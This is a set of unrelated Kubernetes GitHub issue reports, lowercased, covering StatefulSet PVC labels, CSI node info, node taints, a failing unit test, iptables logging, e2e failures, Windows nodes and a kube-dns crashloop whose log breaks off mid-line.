 \r   what happened  :\r pvc does not have all the labels when created from volumeclaimtemplate in statefulset.\r \r for example, if i define the following claim template as a part of sts manifest:\r    \r   volumeclaimtemplates:\r   - metadata:\r       name: datadir\r       annotations:\r         volume.beta.kubernetes.io/storage-class: gp2\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 1gi\r       selector:\r         matchlabels:\r            app: \ grafana\ \r            project: \ mint\ \r \r    \r \r it produces the following pvc:\r    \r $ kubectl describe pvc datadir-grafana-0                                                                                                                                                                                                                          \r name:          datadir-grafana-0\r namespace:     default\r storageclass:  gp2\r status:        bound\r volume:        grafana-001\r labels:        app=grafana\r annotations:   pv.kubernetes.io/bind-completed=yes\r                pv.kubernetes.io/bound-by-controller=yes\r                volume.beta.kubernetes.io/storage-class=gp2\r                volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/aws-ebs\r finalizers:      \r capacity:      1gi\r access modes:  rwo\r    \r \r two labels defined. only one label present : \r \r   what you expected to happen  :\r i expect pvc to have both labels.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create sts with volumeclaimtemplate which has more than 1 label. then try to describe it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version                                                                                                                                                                                                                        \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-22t05:40:33z\ , goversion:\ go1.9.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.8\ , gitcommit:\ c138b85178156011dc934c2c9f4837476876fb07\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t18:53:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1745.5.0\r version_id=1745.5.0\r build_id=2018-05-31-0701\r pretty_name=\ container linux by coreos 1745.5.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux ip-10-113-86-196 4.14.44-coreos-r1  1 smp thu may 31 06:04:02 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r - install tools:\r kops\r - others:\r

what would you like to be added  :\r when the csi plugin is initialized on kubelet initialization we should init the  csinodeinfo  cr's for each node with the migrated drivers with  driver.installed=false  and the right  migratedonnode  value. this enables migration to be compatible with version/config skew between master and node.\r \r   /assign\r /cc @saad-ali

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r taintnodesbycondition admission add specified taints to new nodes during admission.\r \r   why is this needed  :\r >  73097  fixes a race condition between node controller applying taints for new nodes and the scheduler using new nodes for scheduling pods by adding not-ready taint to new nodes during admission.\r \r but it does not fix the race condition caused by user custom taints and custom contollers.  for example, before node's plugins some system-level daemonset pod  running on the node, we must treat our nodes unschedulable. so our custom controller add our custom taint, such as my-plugin-not-ready:noschedule, to the node before the plugin daemonset pod running, then the race condition exist just like notready taint.\r \r we want to enhance the taintnodesbycondition admission to add specified taints to new nodes by config file during admission.\r \r btw, after our enhancement, we suggest changing the name of taintnodesbycondition admission to taintnodesatcreation or taintnewnodes.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r fails with the following error:\r    \r   make check what=./pkg/registry/storage/csidriver/storage goflags=-v kube_test_args='-run ^testupdate$'\r running tests for apiversion: v1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1,apps/v1beta1,apps/v1beta2,auditregistration.k8s.io/v1alpha1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,autoscaling/v2beta2,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,coordination.k8s.io/v1beta1,coordination.k8s.io/v1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,networking.k8s.io/v1beta1,node.k8s.io/v1alpha1,node.k8s.io/v1beta1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,scheduling.k8s.io/v1beta1,scheduling.k8s.io/v1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  0407 04:07:20  running tests without code coverage\r === run   testupdate\r 2019-04-07 04:07:25.108722 i | integration: launching 2870051308638608689  unix://localhost:28700513086386086890 \r 2019-04-07 04:07:25.189277 i | etcdserver: name = 2870051308638608689\r 2019-04-07 04:07:25.189296 i | etcdserver: data dir = /tmp/etcd875312686\r 2019-04-07 04:07:25.189303 i | etcdserver: member dir = /tmp/etcd875312686/member\r 2019-04-07 04:07:25.189308 i | etcdserver: heartbeat = 10ms\r 2019-04-07 04:07:25.189313 i | etcdserver: election = 100ms\r 2019-04-07 04:07:25.189318 i | etcdserver: snapshot count = 0\r 2019-04-07 04:07:25.189328 i | etcdserver: advertise client urls = unix://127.0.0.1:2100220112\r 2019-04-07 04:07:25.189336 i | etcdserver: initial advertise peer urls = unix://127.0.0.1:2100120112\r 2019-04-07 04:07:25.189349 i | etcdserver: initial cluster = 2870051308638608689=unix://127.0.0.1:2100120112\r 2019-04-07 04:07:25.229592 i | etcdserver: starting member 6baecdf24c30c8c in cluster 8008c2e9cf0442b6\r 2019-04-07 04:07:25.229622 i | raft: 6baecdf24c30c8c became follower at term 0\r 2019-04-07 04:07:25.229632 i | raft: newraft 6baecdf24c30c8c  peers:   , term: 0, commit: 0, applied: 0, lastindex: 0, lastterm: 0 \r 2019-04-07 04:07:25.229637 i | raft: 6baecdf24c30c8c became follower at term 1\r 2019-04-07 04:07:25.326112 w | auth: simple token is not cryptographically signed\r 2019-04-07 04:07:25.373277 i | etcdserver: set snapshot count to default 100000\r 2019-04-07 04:07:25.373296 i | etcdserver: starting server...  version: 3.3.10, cluster version: to_be_decided \r 2019-04-07 04:07:25.373568 i | etcdserver: 6baecdf24c30c8c as single-node; fast-forwarding 9 ticks  election ticks 10 \r 2019-04-07 04:07:25.373811 i | etcdserver/membership: added member 6baecdf24c30c8c  unix://127.0.0.1:2100120112  to cluster 8008c2e9cf0442b6\r 2019-04-07 04:07:25.375734 i | integration: launched 2870051308638608689  unix://localhost:28700513086386086890 \r 2019-04-07 04:07:25.419846 i | raft: 6baecdf24c30c8c is starting a new election at term 1\r 2019-04-07 04:07:25.419863 i | raft: 6baecdf24c30c8c became candidate at term 2\r 2019-04-07 04:07:25.419873 i | raft: 6baecdf24c30c8c received msgvoteresp from 6baecdf24c30c8c at term 2\r 2019-04-07 04:07:25.419882 i | raft: 6baecdf24c30c8c became leader at term 2\r 2019-04-07 04:07:25.419889 i | raft: raft.node: 6baecdf24c30c8c elected leader 6baecdf24c30c8c at term 2\r 2019-04-07 04:07:25.420113 i | etcdserver: setting up the initial cluster version to 3.3\r 2019-04-07 04:07:25.420180 i | etcdserver: published {name:2870051308638608689 clienturls: unix://127.0.0.1:2100220112 } to cluster 8008c2e9cf0442b6\r 2019-04-07 04:07:25.441796 n | etcdserver/membership: set the initial cluster version to 3.3\r 2019-04-07 04:07:25.458756 i | etcdserver/api: enabled capabilities for version 3.3\r 2019-04-07 04:07:25.472533 i | integration: terminating 2870051308638608689  unix://localhost:28700513086386086890 \r 2019-04-07 04:07:25.501902 i | integration: terminated 2870051308638608689  unix://localhost:28700513086386086890 \r --- fail: testupdate  0.39s \r     resttest.go:543: unexpected error: csidriver.storage.k8s.io \ foo2\  is invalid: spec: invalid value: storage.csidriverspec{attachrequired:  bool  0xc000430356 , podinfoonmount:  bool  0xc000430357 }: field is immutable\r     resttest.go:117: object does not have objectmeta: object does not implement the object interfaces\r         <nil>\r fail\r fail\tk8s.io/kubernetes/pkg/registry/storage/csidriver/storage\t0.420s\r makefile:184: recipe for target 'check' failed\r make:      check  error 1\r    \r \r in the testcase we are trying to update the immutable field which is wrong, that is happening because of invalid parameter passed to  test.testupdate  need to fix by sending  update update  followed by  invalid update \r \r   what you expected to happen  :\r test should pass\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the  kube-ip-tailer  https://github.com/box/kube-iptables-tailer  provides some visibility into when and why networkpolicies are failing. it requires manually adding iptables log entries such as  \r \r     iptables -a chain_name -j log --log-prefix \ example_log_prefix: \ \r \r this is an onerous requirement that can and should be automated by kube-proxy as it writes the chains in the first place. i would propose that logging be turned on by default and optionally disabled with a flag.

see: https://github.com/openshift/origin/issues/7973 issuecomment-197415222  it may be useful to expose this key in the api as a mechanism for verifying with the key in systems like openshift.  presently to deploy openshift i have to ssh into the kubernetes master and grab the service account private key.  my efforts  http://github.com/paralin/openshift-under-kubernetes  towards deploying without touching ssh, or anything but the api.  i'm looking for another api-only workaround for fetching this file.

we need a map for federation - what a federated system is - how to federate a system into the kube build  mesos seems to do this now, is that the current standard  - where to upload results  cc @kubernetes/sig-testing @spiffxp @ingvagabund

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-test/2/  failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 1 pod to 3 pods and from 3 to 5 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 nov 19 02:33:11.752: couldn't delete ns: \ e2e-tests-horizontal-pod-autoscaling-nis2e\ : get https://146.148.37.186/apis/autoscaling/v1/namespaces/e2e-tests-horizontal-pod-autoscaling-nis2e/horizontalpodautoscalers: oauth2: cannot fetch token: 502 bad gateway response: <!doctype html> <html lang=en>   <meta charset=utf-8>   <meta name=viewport content=\ initial-scale=1, minimum-scale=1, width=device-width\ >   <title>error 502  server error !!1</title>   <style>      {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background: fff;color: 222;padding:15px}body{margin:7%!a missing uto 0;max-width:390px;min-height:180px;padding:30px 0 15px}  > body{background:url //www.google.com/images/errors/robot.png  100%!p missing x no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color: 777;text-decoration:none}a img{border:0}@media screen and  max-width:772px {body{background:none;margin-top:0;max-width:none;padding-right:0}} logo{background:url //www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png  no-repeat;margin-left:-5px}@media only screen and  min-resolution:192dpi { logo{background:url //www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png  no-repeat 0%/100%;-moz-border-image:url //www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png  0}}@media only screen and  -webkit-min-device-pixel-ratio:2 { logo{background:url //www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png  no-repeat;-webkit-background-size:100%}} logo{display:inline-block;height:54px;width:150px}   </style>   <a href=//www.google.com/><span id=logo aria-label=google></span></a>   <p><b>502.</b> <ins>that’s an error.</ins>   <p>the server encountered a temporary error and could not complete your request.<p>please try again in 30 seconds.  <ins>that’s all we know.</ins>   &url.error{op:\ get\ , url:\ https://146.148.37.186/apis/autoscaling/v1/namespaces/e2e-tests-horizontal-pod-autoscaling-nis2e/horizontalpodautoscalers\ , err:  errors.errorstring  0xc8213e2120 }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338       previous issues for this test:  30317  31591

\r   kubernetes version  :1.7.0\r \r \r   environment  : \r -   cloud provider or hardware configuration  : gce\r -  other patches  : pull/47094\r \r   what happened  :\r trying to run sample-apiserver with the aggregator.\r \ kubectl get configmap extension-apiserver-authentication --namespace=kube-system -o yaml\  shows a requestheader-client-ca-file:\r however all attempts by the aggregator to the sample-apiserver return a 401.\r the logs indicate that this is because of a unknownauthorityerror.\r \r   what you expected to happen  :\r aggregator would seamlessly proxy requests successfully to the sample-apiserver. \r \r   how to reproduce it    as minimally and precisely as possible :\r deploy the sample-apiserver.\r run \ kubectl get flunders\ \r get back \ no resources found.\ \r \r   anything else we need to know  :\r \r

i'm trying to setup k8s on windows server 2016 by following below link\r \r https://kubernetes.io/docs/getting-started-guides/windows/\r \r here's the setup looks like\r \r 1  linux  kubernetes master \r     os: fedora 24  kube version 1.5.3 \r 2  windows  node 1  \r    os: windows 2016 server\r     kubelet version: 1.5.3\r 3  windows  node 2 \r    os: windows 2016 server\r     kubelet version: 1.5.3\r \r after starting the kubelet & kube proxy services  the nodes got listed in master \r \r  root@10 win   kubectl get nodes\r name             status     age\r 10.242.138.106   ready      5d\r 10.242.138.123   ready   5d\r \r i'm trying to run nanoserver image using yaml file\r \r my yaml contains\r {\r   \ apiversion\ : \ v1\ ,\r   \ kind\ : \ pod\ ,\r   \ metadata\ : {\r     \ name\ : \ nano\ ,\r     \ labels\ : {\r       \ name\ : \ nano\ \r     }\r   },\r   \ spec\ : {\r     \ containers\ :  \r       {\r         \ name\ : \ nano\ ,\r         \ image\ : \ microsoft/nanoserver:1\ ,\r         \ ports\ :  \r           {\r             \ containerport\ : 80\r           }\r          \r       }\r      ,\r     \ nodeselector\ : {\r       \ beta.kubernetes.io/os\ : \ windows\ \r     }\r   }\r }\r \r while running this yaml \r \r \r  root@10 win   kubectl describe pods nano\r name:           nano\r namespace:      default\r node:           10.242.138.106/\r labels:         name=nano\r status:         pending\r ip:\r controllers:    <none>\r containers:\r   nano:\r     image:      microsoft/nanoserver:1\r     port:       80/tcp\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-fdbvr  ro \r     environment variables:      <none>\r conditions:\r   type          status\r   podscheduled  true\r volumes:\r   default-token-fdbvr:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-fdbvr\r qos class:      besteffort\r tolerations:    <none>\r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason          message\r   ---------     --------        -----   ----                    -------------   --------        ------          -------\r   14s           14s             1       {default-scheduler }                    normal          scheduled       successfully assigned nano to 10.242.138.106\r \r \r pod creation is pending for long time.\r \r here's the logs on kubelet service\r \r i0628 12:30:42.915956    1940 server.go:664  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ 10.242.138.106\ ,\r  uid:\ 10.242.138.106\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'warning' reason: 'containergcfailed' op\r eration timeout: context deadline exceeded\r e0628 12:30:45.020077    1940 kubelet_network.go:274  failed to ensure that nat chain kube-mark-drop exists: error creat\r ing chain \ kube-mark-drop\ : executable file not found in %path%:\r e0628 12:30:49.420339    1940 kubelet_pods.go:710  error listing containers: dockertools.operationtimeout{err:context.de\r adlineexceedederror{}}\r e0628 12:30:49.423331    1940 kubelet.go:1860  failed cleaning pods: operation timeout: context deadline exceeded\r i0628 12:30:49.423331    1940 kubelet.go:1797  syncloop  delete, \ api\  : \ nano_default 501706a4-5bc0-11e7-8abc-0050569c1\r 6ba \ \r i0628 12:30:49.423331    1940 kubelet.go:1797  syncloop  delete, \ api\  : \ nano_default 501706a4-5bc0-11e7-8abc-0050569c1\r 6ba \ \r e0628 12:30:50.270380    1940 eviction_manager.go:205  eviction manager: unexpected err: missing stats for root containe\r r\r e0628 12:30:50.861414    1940 kubelet.go:1634  failed to check if disk space is available for the runtime: could not det\r ermine capacity for \ runtime\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-06-28 12:30:50.8614142 -0700 pdt}\r e0628 12:30:50.863412    1940 kubelet.go:1642  failed to check if disk space is available on the root partition: could n\r ot determine capacity for \ root\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-06-28 12:30:50.8634122 -0700 p\r dt}\r e0628 12:31:00.274953    1940 eviction_manager.go:205  eviction manager: unexpected err: missing stats for root containe\r r\r e0628 12:31:00.873986    1940 kubelet.go:1634  failed to check if disk space is available for the runtime: could not det\r ermine capacity for \ runtime\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-06-28 12:31:00.8739861 -0700 pdt}\r e0628 12:31:00.876986    1940 kubelet.go:1642  failed to check if disk space is available on the root partition: could n\r ot determine capacity for \ root\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-06-28 12:31:00.876986 -0700 pd\r t}\r e0628 12:31:10.281525    1940 eviction_manager.go:205  eviction manager: unexpected err: missing stats for root containe\r r\r e0628 12:31:10.889560    1940 kubelet.go:1634  failed to check if disk space is available for the runtime: could not det\r ermine capacity for \ runtime\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-06-28 12:31:10.8895609 -0700 pdt}\r e0628 12:31:12.519651    1940 kubelet.go:1642  failed to check if disk space is available on the root partition: could n\r ot determine capacity for \ root\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-06-28 12:31:12.5196512 -0700 p\r dt}\r \r anyone faced similar issues ?\r \r  @kubernetes/sig-windows

 \r \r   what happened  :\r using kubelet 1.7, after setting up kube cluster. the kube-dns pod keeps crash loop.\r \r    \r  root@m01v ~   kubectl get nodes\r name                         status    age       version\r c01v                           ready     14m       v1.7.0\r c02v                           ready     14m       v1.7.0\r c03v                           ready     14m       v1.7.0\r m01v                          ready     17m       v1.7.0\r m02v                          ready     14m       v1.7.0\r m03v                          ready     14m       v1.7.0\r    \r \r    \r  root@m01v ~   kubectl get svc --all-namespaces \r namespace     name          cluster-ip      external-ip   port s          age\r default       kubernetes    10.96.0.1       <none>        443/tcp         12m\r kube-system   calico-etcd   10.96.232.136   <none>        6666/tcp        3m\r kube-system   kube-dns      10.96.0.10      <none>        53/udp,53/tcp   12m\r    \r \r    \r  root@m01v ~   kubectl get pod -n kube-system \r name                                                 ready     status             restarts   age\r calico-etcd-3x5f5                                    1/1       running            0          16m\r calico-etcd-mlphz                                    1/1       running            0          16m\r calico-etcd-vvhj5                                    1/1       running            0          16m\r calico-node-4321c                                    2/2       running            0          15m\r calico-node-6jghk                                    2/2       running            0          15m\r calico-node-8zrw3                                    2/2       running            0          16m\r calico-node-9krn6                                    2/2       running            0          15m\r calico-node-dzwgg                                    2/2       running            0          15m\r calico-node-jr70t                                    2/2       running            0          15m\r calico-policy-controller-1727037546-5dr85            1/1       running            0          15m\r etcd-m01v                                            1/1       running            0          23m\r kube-apiserver-m01v                                  1/1       running            0          23m\r kube-controller-manager-m01v                         1/1       running            0          23m\r kube-dns-2425271678-l66cq                            0/3       crashloopbackoff   18         24m\r kube-proxy-01xkw                                     1/1       running            0          21m\r kube-proxy-0hd7r                                     1/1       running            0          21m\r kube-proxy-3b6xm                                     1/1       running            0          21m\r kube-proxy-544mp                                     1/1       running            0          21m\r kube-proxy-p80c1                                     1/1       running            0          24m\r kube-proxy-vn961                                     1/1       running            0          21m\r kube-scheduler-m01v                                  1/1       running            0          23m\r    \r \r    \r  root@m01v ~   kubectl describe pod kube-dns-2425271678-l66cq  -n kube-system \r name:\t\tkube-dns-2425271678-l66cq\r namespace:\tkube-system\r node:\t\tm03v/10.20.101.43\r start time:\twed, 12 jul 2017 17:31:00 +0800\r labels:\t\tk8s-app=kube-dns\r \t\tpod-template-hash=2425271678\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-dns-2425271678\ ,\ uid\ :\ a770084d-66e3-11e7-900d-00505682...\r \t\tscheduler.alpha.kubernetes.io/critical-pod=\r status:\t\trunning\r ip:\t\t192.168.54.0\r created by:\treplicaset/kube-dns-2425271678\r controlled by:\treplicaset/kube-dns-2425271678\r containers:\r   kubedns:\r     container id:\tdocker://660b32a63da56b44fee2b091c7e71748b37c8f1b51300f7d5a78319a5e304064\r     image:\t\tgcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.4\r     image id:\t\tdocker-pullable://gcr.io/google_containers/k8s-dns-kube-dns-amd64@sha256:40790881bbe9ef4ae4ff7fe8b892498eecb7fe6dcc22661402f271e03f7de344\r     ports:\t\t10053/udp, 10053/tcp, 10055/tcp\r     args:\r       --domain=cluster.local.\r       --dns-port=10053\r       --config-dir=/kube-dns-config\r       --v=2\r     state:\t\twaiting\r       reason:\t\tcrashloopbackoff\r     last state:\t\tterminated\r       reason:\t\terror\r       exit code:\t255\r       started:\t\twed, 12 jul 2017 17:34:58 +0800\r       finished:\t\twed, 12 jul 2017 17:35:58 +0800\r     ready:\t\tfalse\r     restart count:\t3\r     limits:\r       memory:\t170mi\r     requests:\r       cpu:\t100m\r       memory:\t70mi\r     liveness:\thttp-get http://:10054/healthcheck/kubedns delay=60s timeout=5s period=10s  success=1  failure=5\r     readiness:\thttp-get http://:8081/readiness delay=3s timeout=5s period=10s  success=1  failure=3\r     environment:\r       prometheus_port:\t10055\r     mounts:\r       /kube-dns-config from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-xhmbk  ro \r   dnsmasq:\r     container id:\tdocker://83c6f750c4dee1777c9056006c5dbe09d656db9b74d5f472efdea877e2613d69\r     image:\t\tgcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.4\r     image id:\t\tdocker-pullable://gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64@sha256:aeeb994acbc505eabc7415187cd9edb38cbb5364dc1c2fc748154576464b3dc2\r     ports:\t\t53/udp, 53/tcp\r     args:\r       -v=2\r       -logtostderr\r       -configdir=/etc/k8s/dns/dnsmasq-nanny\r       -restartdnsmasq=true\r       --\r       -k\r       --cache-size=1000\r       --log-facility=-\r       --server=/cluster.local/127.0.0.1 10053\r       --server=/in-addr.arpa/127.0.0.1 10053\r       --server=/ip6.arpa/127.0.0.1 10053\r     state:\t\trunning\r       started:\t\twed, 12 jul 2017 17:35:36 +0800\r     last state:\t\tterminated\r       reason:\t\terror\r       exit code:\t137\r       started:\t\twed, 12 jul 2017 17:33:26 +0800\r       finished:\t\twed, 12 jul 2017 17:35:35 +0800\r     ready:\t\ttrue\r     restart count:\t2\r     requests:\r       cpu:\t\t150m\r       memory:\t\t20mi\r     liveness:\t\thttp-get http://:10054/healthcheck/dnsmasq delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:\t<none>\r     mounts:\r       /etc/k8s/dns/dnsmasq-nanny from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-xhmbk  ro \r   sidecar:\r     container id:\tdocker://d68e48e3303b26778758281bfa24f8078a7e4e4ad02c0f674527b838ab53513b\r     image:\t\tgcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.4\r     image id:\t\tdocker-pullable://gcr.io/google_containers/k8s-dns-sidecar-amd64@sha256:97074c951046e37d3cbb98b82ae85ed15704a290cce66a8314e7f846404edde9\r     port:\t\t10054/tcp\r     args:\r       --v=2\r       --logtostderr\r       --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\r       --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\r     state:\t\trunning\r       started:\t\twed, 12 jul 2017 17:35:36 +0800\r     last state:\t\tterminated\r       reason:\t\terror\r       exit code:\t2\r       started:\t\twed, 12 jul 2017 17:33:26 +0800\r       finished:\t\twed, 12 jul 2017 17:35:05 +0800\r     ready:\t\ttrue\r     restart count:\t2\r     requests:\r       cpu:\t\t10m\r       memory:\t\t20mi\r     liveness:\t\thttp-get http://:10054/metrics delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-xhmbk  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   kube-dns-config:\r     type:\tconfigmap  a volume populated by a configmap \r     name:\tkube-dns\r     optional:\ttrue\r   kube-dns-token-xhmbk:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tkube-dns-token-xhmbk\r     optional:\tfalse\r qos class:\tburstable\r node-selectors:\t<none>\r tolerations:\tcriticaladdonsonly\r \t\tnode-role.kubernetes.io/master:noschedule\r \t\tnode.alpha.kubernetes.io/notready:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\tsubobjectpath\t\t\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t-------------\t\t\t--------\t------\t\t\t-------\r   13m\t\t5m\t\t32\tdefault-scheduler\t\t\t\t\t\t\twarning\t\tfailedscheduling\tno nodes available to schedule pods\r   5m\t\t5m\t\t1\tdefault-scheduler\t\t\t\t\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned kube-dns-2425271678-l66cq to m03v\r   5m\t\t5m\t\t1\tkubelet, m03v\t\t\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ kube-dns-config\  \r   5m\t\t5m\t\t1\tkubelet, m03v\t\t\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ kube-dns-token-xhmbk\  \r   3m\t\t2m\t\t2\tkubelet, m03v\tspec.containers{kubedns}\twarning\t\tunhealthy\t\tliveness probe failed: get http://192.168.54.0:10054/healthcheck/kubedns: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r   5m\t\t1m\t\t4\tkubelet, m03v\tspec.containers{kubedns}\tnormal\t\tstarted\t\t\tstarted container\r   5m\t\t1m\t\t4\tkubelet, m03v\tspec.containers{kubedns}\tnormal\t\tcreated\t\t\tcreated container\r   5m\t\t1m\t\t4\tkubelet, m03v\tspec.containers{kubedns}\tnormal\t\tpulled\t\t\tcontainer image \ gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.4\  already present on machine\r   4m\t\t1m\t\t9\tkubelet, m03v\tspec.containers{dnsmasq}\twarning\t\tunhealthy\t\tliveness probe failed: get http://192.168.54.0:10054/healthcheck/dnsmasq: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r   3m\t\t1m\t\t2\tkubelet, m03v\tspec.containers{sidecar}\tnormal\t\tkilling\t\t\tkilling container with id docker://sidecar:pod \ kube-dns-2425271678-l66cq_kube-system a770cda1-66e3-11e7-900d-00505682fcc1 \  container \ sidecar\  is unhealthy, it will be killed and re-created.\r   4m\t\t1m\t\t9\tkubelet, m03v\tspec.containers{sidecar}\twarning\t\tunhealthy\t\tliveness probe failed: get http://192.168.54.0:10054/metrics: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r   2m\t\t42s\t\t2\tkubelet, m03v\tspec.containers{dnsmasq}\tnormal\t\tkilling\t\t\tkilling container with id docker://dnsmasq:pod \ kube-dns-2425271678-l66cq_kube-system a770cda1-66e3-11e7-900d-00505682fcc1 \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   5m\t\t42s\t\t3\tkubelet, m03v\tspec.containers{sidecar}\tnormal\t\tpulled\t\t\tcontainer image \ gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.4\  already present on machine\r   5m\t\t41s\t\t3\tkubelet, m03v\tspec.containers{sidecar}\tnormal\t\tstarted\t\t\tstarted container\r   5m\t\t41s\t\t3\tkubelet, m03v\tspec.containers{sidecar}\tnormal\t\tcreated\t\t\tcreated container\r   5m\t\t41s\t\t3\tkubelet, m03v\tspec.containers{dnsmasq}\tnormal\t\tstarted\t\t\tstarted container\r   5m\t\t41s\t\t3\tkubelet, m03v\tspec.containers{dnsmasq}\tnormal\t\tcreated\t\t\tcreated container\r   5m\t\t41s\t\t3\tkubelet, m03v\tspec.containers{dnsmasq}\tnormal\t\tpulled\t\t\tcontainer image \ gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.4\  already present on machine\r   5m\t\t22s\t\t25\tkubelet, m03v\tspec.containers{kubedns}\twarning\t\tunhealthy\t\treadiness probe failed: get http://192.168.54.0:8081/readiness: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r   1m\t\t1s\t\t6\tkubelet, m03v\tspec.containers{kubedns}\twarning\t\tbackoff\t\t\tback-off restarting failed container\r   1m\t\t1s\t\t6\tkubelet, m03v\t\t\t\t\twarning\t\tfailedsync\t\terror syncing pod\r    \r \r \r    \r  root@m01v ~   kubectl logs kube-dns-2425271678-l66cq kubedns -n kube-system \r i0712 09:36:42.452214       1 dns.go:48  version: 1.14.3-4-gee838f6\r i0712 09:36:42.452893       1 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r i0712 09:36:42.452932       1 server.go:113  flag: --alsologtostderr=\ false\ \r i0712 09:36:42.452946       1 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r i0712 09:36:42.452951       1 server.go:113  flag: --config-map=\ \ \r i0712 09:36:42.452954       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i0712 09:36:42.452957       1 server.go:113  flag: --config-period=\ 10s\ \r i0712 09:36:42.452961       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i0712 09:36:42.452963       1 